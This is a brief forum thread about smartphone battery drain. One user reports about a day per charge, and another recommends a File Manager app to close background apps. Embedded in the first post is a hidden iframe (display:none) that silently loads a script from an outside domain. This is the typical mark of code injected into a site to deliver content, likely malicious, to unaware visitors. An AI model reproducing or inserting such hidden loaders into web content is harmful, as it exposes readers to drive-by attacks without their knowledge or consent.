What should I expect?

With all the power settings at minimum and bluetooth off I barely get 24 hours use from fully charged. That might only include a handful a calls a day !<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Have you installed File Manager? It lets you shutdown apps that are running in the back ground (the more apps running the greater the battery drain) - I can manage nearly 3 days on one charge
